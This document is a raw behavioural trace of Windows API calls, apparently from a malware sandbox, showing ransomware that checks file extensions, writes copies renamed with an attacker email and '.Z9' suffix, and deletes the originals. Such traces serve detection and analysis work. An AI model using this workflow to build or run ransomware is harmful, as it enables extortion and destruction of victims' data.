	[0089.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0089.908] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=10240) returned 1
	[0089.908] CloseHandle (hObject=0x394) returned 1
	[0089.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20
	[0089.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0089.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0089.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0089.909] lstrlenW (lpString=".doc") returned 4
	[0089.909] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0089.909] lstrlenW (lpString=".docx") returned 5
	[0089.909] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0089.909] lstrlenW (lpString=".pdf") returned 4
	[0089.909] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0089.909] lstrlenW (lpString=".xls") returned 4
	[0089.909] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0089.909] lstrlenW (lpString=".xlsx") returned 5
	[0089.909] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0089.909] lstrlenW (lpString=".ppt") returned 4
	[0089.909] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0089.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0089.909] lstrlenW (lpString=".zip") returned 4
	[0089.909] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0089.909] lstrlenW (lpString=".rar") returned 4
	[0089.909] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0089.909] lstrlenW (lpString=".bz2") returned 4
	[0089.909] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0089.909] lstrlenW (lpString=".7z") returned 3
	[0089.909] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0089.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0089.909] lstrlenW (lpString=".dbf") returned 4
	[0089.909] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0089.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0089.909] lstrlenW (lpString=".1cd") returned 4
	[0089.909] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0089.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0089.909] lstrlenW (lpString=".jpg") returned 4
	[0089.910] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0089.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0089.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0089.910] lstrlenW (lpString=".doc") returned 4
	[0089.910] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0089.910] lstrlenW (lpString=".docx") returned 5
	[0089.910] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0089.910] lstrlenW (lpString=".pdf") returned 4
	[0089.910] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0089.910] lstrlenW (lpString=".xls") returned 4
	[0089.910] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0089.910] lstrlenW (lpString=".xlsx") returned 5
	[0089.910] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0089.910] lstrlenW (lpString=".ppt") returned 4
	[0089.910] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0089.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0089.910] lstrlenW (lpString=".zip") returned 4
	[0089.910] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0089.910] lstrlenW (lpString=".rar") returned 4
	[0089.910] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0089.910] lstrlenW (lpString=".bz2") returned 4
	[0089.910] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0089.910] lstrlenW (lpString=".7z") returned 3
	[0089.910] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0089.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0089.910] lstrlenW (lpString=".dbf") returned 4
	[0089.910] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0089.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0089.910] lstrlenW (lpString=".1cd") returned 4
	[0089.910] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0089.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0089.910] lstrlenW (lpString=".jpg") returned 4
	[0089.910] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0089.911] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0089.911] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0089.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0089.911] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=10752) returned 1
	[0089.911] CloseHandle (hObject=0x394) returned 1
	[0089.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20
	[0089.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0089.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72
	[0089.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72
	[0089.911] lstrlenW (lpString=".doc") returned 4
	[0089.911] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0089.911] lstrlenW (lpString=".docx") returned 5
	[0089.911] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0089.911] lstrlenW (lpString=".pdf") returned 4
	[0089.912] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0089.912] lstrlenW (lpString=".xls") returned 4
	[0089.912] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0089.912] lstrlenW (lpString=".xlsx") returned 5
	[0089.912] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0089.912] lstrlenW (lpString=".ppt") returned 4
	[0089.912] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0089.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72
	[0089.912] lstrlenW (lpString=".zip") returned 4
	[0089.912] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0089.912] lstrlenW (lpString=".rar") returned 4
	[0089.912] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0089.912] lstrlenW (lpString=".bz2") returned 4
	[0089.912] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0089.912] lstrlenW (lpString=".7z") returned 3
	[0089.912] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0089.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72
	[0089.912] lstrlenW (lpString=".dbf") returned 4
	[0089.912] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0090.347] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0090.355] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0090.356] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0090.397] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.398] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.398] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0090.399] GetLastError () returned 0x0
	[0090.399] ReadFile (in: hFile=0x300, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0090.424] WriteFile (in: hFile=0x388, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0090.768] ReadFile (in: hFile=0x300, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x68268, lpOverlapped=0x0) returned 1
	[0090.782] WriteFile (in: hFile=0x388, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x68270, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x68270, lpOverlapped=0x0) returned 1
	[0090.793] ReadFile (in: hFile=0x300, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.793] WriteFile (in: hFile=0x388, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xea, lpOverlapped=0x0) returned 1
	[0090.793] SetEndOfFile (hFile=0x388) returned 1
	[0090.793] CloseHandle (hObject=0x388) returned 1
	[0090.793] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.793] SetEndOfFile (hFile=0x300) returned 1
	[0090.798] CloseHandle (hObject=0x300) returned 1
	[0090.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0090.798] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll")) returned 1
	[0091.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0091.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0091.033] lstrlenW (lpString=".doc") returned 4
	[0091.033] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0091.033] lstrlenW (lpString=".docx") returned 5
	[0091.033] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1
	[0091.033] lstrlenW (lpString=".pdf") returned 4
	[0091.033] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0091.033] lstrlenW (lpString=".xls") returned 4
	[0091.033] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0091.033] lstrlenW (lpString=".xlsx") returned 5
	[0091.033] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1
	[0091.115] lstrlenW (lpString=".ppt") returned 4
	[0091.115] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0091.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0091.115] lstrlenW (lpString=".zip") returned 4
	[0091.115] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0091.115] lstrlenW (lpString=".rar") returned 4
	[0091.115] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0091.115] lstrlenW (lpString=".bz2") returned 4
	[0091.115] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0091.115] lstrlenW (lpString=".7z") returned 3
	[0091.115] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0091.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0091.116] lstrlenW (lpString=".dbf") returned 4
	[0091.116] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0091.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0091.117] lstrlenW (lpString=".1cd") returned 4
	[0091.117] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0091.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0091.117] lstrlenW (lpString=".jpg") returned 4
	[0091.117] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0091.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0091.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0091.117] lstrlenW (lpString=".doc") returned 4
	[0091.117] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0091.117] lstrlenW (lpString=".docx") returned 5
	[0091.117] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1
	[0091.117] lstrlenW (lpString=".pdf") returned 4
	[0091.117] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0091.117] lstrlenW (lpString=".xls") returned 4
	[0091.117] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0091.117] lstrlenW (lpString=".xlsx") returned 5
	[0091.117] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1
	[0091.117] lstrlenW (lpString=".ppt") returned 4
	[0091.117] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0091.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0091.117] lstrlenW (lpString=".zip") returned 4
	[0091.117] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0091.117] lstrlenW (lpString=".rar") returned 4
	[0091.117] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0091.117] lstrlenW (lpString=".bz2") returned 4
	[0091.117] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0091.117] lstrlenW (lpString=".7z") returned 3
	[0091.117] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0091.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0091.117] lstrlenW (lpString=".dbf") returned 4
	[0091.117] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0091.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0091.117] lstrlenW (lpString=".1cd") returned 4
	[0091.117] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0091.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0091.118] lstrlenW (lpString=".jpg") returned 4
	[0091.118] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0091.118] lstrcmpiW (lpString1=".tlb", lpString2=".Z9") returned -1
	[0091.118] lstrlenW (lpString="vstoee90.tlb") returned 12
	[0091.118] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0091.941] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=22680) returned 1
	[0091.941] CloseHandle (hObject=0x398) returned 1
	[0091.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 0x20
	[0091.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0091.948] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.948] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0091.949] GetLastError () returned 0x0
	[0091.949] ReadFile (in: hFile=0x388, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x5898, lpOverlapped=0x0) returned 1
	[0091.951] WriteFile (in: hFile=0x38c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x58a0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x58a0, lpOverlapped=0x0) returned 1
	[0091.952] ReadFile (in: hFile=0x388, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.952] WriteFile (in: hFile=0x38c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.953] SetEndOfFile (hFile=0x38c) returned 1
	[0091.953] CloseHandle (hObject=0x38c) returned 1
	[0091.953] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.953] SetEndOfFile (hFile=0x388) returned 1
	[0091.954] CloseHandle (hObject=0x388) returned 1
	[0091.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0091.954] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 1
	[0091.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0091.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0091.954] lstrlenW (lpString=".doc") returned 4
	[0091.955] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0091.955] lstrlenW (lpString=".docx") returned 5
	[0091.955] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0091.955] lstrlenW (lpString=".pdf") returned 4
	[0091.955] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0091.955] lstrlenW (lpString=".xls") returned 4
	[0091.955] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0091.955] lstrlenW (lpString=".xlsx") returned 5
	[0091.955] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0091.955] lstrlenW (lpString=".ppt") returned 4
	[0091.955] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0091.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0091.955] lstrlenW (lpString=".zip") returned 4
	[0091.955] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0091.955] lstrlenW (lpString=".rar") returned 4
	[0091.955] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0091.955] lstrlenW (lpString=".bz2") returned 4
	[0091.955] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0091.955] lstrlenW (lpString=".7z") returned 3
	[0091.955] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0091.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0091.955] lstrlenW (lpString=".dbf") returned 4
	[0091.955] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0091.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0091.955] lstrlenW (lpString=".1cd") returned 4
	[0091.955] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0091.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0091.955] lstrlenW (lpString=".jpg") returned 4
	[0091.955] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0091.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0091.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0091.955] lstrlenW (lpString=".doc") returned 4
	[0091.955] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0091.955] lstrlenW (lpString=".docx") returned 5
	[0091.955] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0091.955] lstrlenW (lpString=".pdf") returned 4
	[0091.956] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0091.956] lstrlenW (lpString=".xls") returned 4
	[0091.956] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0091.956] lstrlenW (lpString=".xlsx") returned 5
	[0091.956] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0091.956] lstrlenW (lpString=".ppt") returned 4
	[0091.956] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0091.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0091.956] lstrlenW (lpString=".zip") returned 4
	[0091.956] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0091.956] lstrlenW (lpString=".rar") returned 4
	[0091.956] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0091.956] lstrlenW (lpString=".bz2") returned 4
	[0091.956] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0091.956] lstrlenW (lpString=".7z") returned 3
	[0091.956] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0091.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0091.956] lstrlenW (lpString=".dbf") returned 4
	[0091.956] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
